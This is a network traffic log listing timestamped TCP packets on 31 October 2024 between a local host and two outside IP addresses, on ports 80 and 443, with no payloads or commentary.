Oct 31, 2024 09:07:09.659288883 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.659352064 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.659930944 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.659941912 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.659951925 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.659964085 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.659976006 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.659985065 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.660017967 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.660604954 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.660615921 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.660625935 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.660630941 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.660643101 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.660650015 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.660654068 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.660672903 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.660868883 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.661189079 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.661200047 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.661210060 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.661221981 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.661231995 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.661236048 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.661252022 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.661281109 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.675035954 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.675086021 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.675116062 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.675142050 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.675158024 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.675183058 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.699505091 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.699553967 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.699604988 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.699610949 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.699662924 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.700552940 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.700609922 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.700655937 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.700695038 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.703475952 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.703531027 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.703568935 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.703579903 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.703608990 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.703795910 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.703808069 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.703819036 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.703843117 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.703857899 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.704118013 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.704128027 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.704165936 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.704180002 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.746072054 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.746179104 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.746189117 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.746217966 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.746454000 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.746464968 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.746483088 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.746504068 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.770474911 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.770536900 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.770561934 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.770572901 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.770601988 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.770618916 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.774581909 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.774684906 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.774687052 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.774698973 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.774723053 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.774739981 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.774976015 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.774987936 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.775073051 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.775171041 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.775217056 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.775345087 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.775357962 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.775397062 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.775634050 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.775648117 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.775688887 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.775854111 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.775882006 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.775893927 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.775898933 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.775923014 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.775934935 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.776185989 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.776197910 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.776209116 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.776222944 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.776233912 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.776233912 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.776247025 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.776247978 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.776262045 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.776282072 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.776303053 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.776310921 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.776712894 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.776760101 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.776851892 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.776861906 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.776873112 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.776885986 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.776897907 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.776897907 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.776911974 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.776913881 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.776928902 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.776949883 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.777429104 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.777439117 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.777448893 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.777460098 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.777472019 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.777478933 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.777489901 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.777492046 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.777508020 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.777510881 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.777520895 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.777535915 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.777555943 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.777565956 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.778145075 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.778156042 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.778192043 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.815988064 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.816041946 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.816081047 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.816088915 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.816123962 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.816143990 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.817965984 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.818011999 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.818038940 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.818044901 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.818070889 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.818093061 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.820571899 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.820622921 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.820830107 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.820841074 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.820880890 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.820899010 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.820910931 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.820924044 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.820936918 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.820936918 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.820951939 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.820972919 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.821400881 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.821448088 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.863109112 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.863174915 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.863197088 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.863209009 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.863243103 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.863256931 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.863466978 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.863480091 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.863519907 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.863717079 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.863729000 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.863760948 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.863787889 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.863993883 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.864037037 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.887546062 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.887599945 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.887733936 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.887744904 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.887777090 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.891829014 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.891870022 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.891900063 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.891910076 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.891933918 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.891947031 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.892188072 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.892201900 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.892242908 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.892471075 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.892510891 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.892540932 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.892551899 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.892580986 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.892759085 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.892770052 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.892797947 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.892822027 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.892980099 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.892992020 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.893018007 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.893032074 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.893207073 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.893224001 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.893238068 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.893244982 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.893249989 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.893258095 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.893265963 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.893271923 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.893296003 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.893305063 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.893747091 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.893759012 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.893789053 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.893923998 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.893964052 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.893992901 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.894004107 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.894013882 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.894023895 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.894027948 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.894036055 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.894048929 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.894076109 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.894609928 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.894622087 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.894630909 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.894640923 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.894649982 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.894654989 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.894669056 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.894699097 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.895092010 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.895133018 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.895133972 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.895147085 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.895158052 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.895169973 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.895179987 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.895196915 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.934571028 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.934627056 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.934649944 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.934659004 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.934705973 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.935997009 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.936043024 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.936062098 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.936068058 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.936084986 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.936108112 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.936681032 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.936727047 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.936738014 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.936778069 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.937649012 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.937694073 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.937725067 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.937735081 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.937766075 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.937865973 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.937908888 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.938059092 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.938071966 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.938082933 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.938093901 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.938100100 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.938131094 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.938147068 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.980262995 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.980325937 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.980372906 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.980386972 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.980412960 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.980427980 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.980688095 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.980700016 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.980714083 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.980726004 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.980729103 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.980746031 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.980763912 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.981173038 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.981220007 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.004456043 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.004517078 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.004532099 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.004544973 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.004571915 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.004592896 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.019443035 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.019499063 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.019541025 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.019551039 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.019581079 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.019593954 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.019850016 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.019860983 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.019871950 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.019887924 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.019891024 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.019913912 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.019942999 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.020463943 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.020478010 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.020487070 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.020498037 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.020505905 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.020510912 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.020523071 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.020528078 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.020549059 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.020565987 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.021397114 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.021409035 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.021418095 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.021429062 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.021439075 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.021446943 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.021454096 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.021456957 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.021470070 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.021481037 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.021505117 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.022361040 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.022372007 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.022386074 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.022397041 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.022403002 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.022411108 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.022423029 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.022425890 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.022435904 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.022449970 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.022461891 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.022490025 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.023267031 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.023278952 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.023288012 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.023298979 CET	80	49709	45.88.105.105	192.168.2.6
